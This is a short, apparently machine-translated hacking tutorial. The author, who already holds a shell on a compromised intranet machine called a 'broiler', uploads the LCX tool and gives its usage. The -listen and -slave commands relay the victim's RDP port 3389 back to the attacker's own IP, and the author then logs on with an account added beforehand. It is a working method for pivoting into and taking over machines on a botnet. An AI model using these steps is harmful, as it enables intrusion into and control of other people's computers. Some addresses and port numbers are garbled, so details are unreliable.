The following shows how to map Intranet bots so that we can connect to them.
Here I already have a shell. As for the Shell Process, let's leave it alone. Let's see if it's an intranet...
IP address ......: 192.168.1.106
Subnet Mask ......: 255.255.255.0
Default Gateway ......: 192.168.1.254
No problem. It's the Intranet. Check whether the terminal is enabled. Here I have uploaded LCX. EXE to save time. Check the operation.
F:/> lcx.exe
The first and third parts are used in combination. For example, listen to-Listen 51 3389 on the local machine and run-slave local IP address on the broilers.
51 broiler IP 3389
In this case, you can connect 127.0.1 to 3389 of the botnet. The second is the local steering. For example,-Tran 51 127.0.0.1 338
9 ============
[Usage of packet transmit:]
Lcx.exe-<listen | Tran | slave> <option> [-log logfile]
[Option:]
-Listen <connectport> <transmitport>
-Tran <connectport> <transmithost> <transmitport>
-Slave <connecthost> <connectport> <transmithost> <transmitport>
In fact, it is clear that before running this command, you must ensure that your ports 51 and 3389 are not occupied, OK, and then run the command in shell.
Lcx.exe-slave yourip port broiler IP Port
So slow ......
The response here indicates that the connection is successful. We can try to connect to our own 3389. It's a little slow ....
It should be okay to receive data... sweat, slow speed...
.....
Slow, connected, and logged on (I have added an account in advance)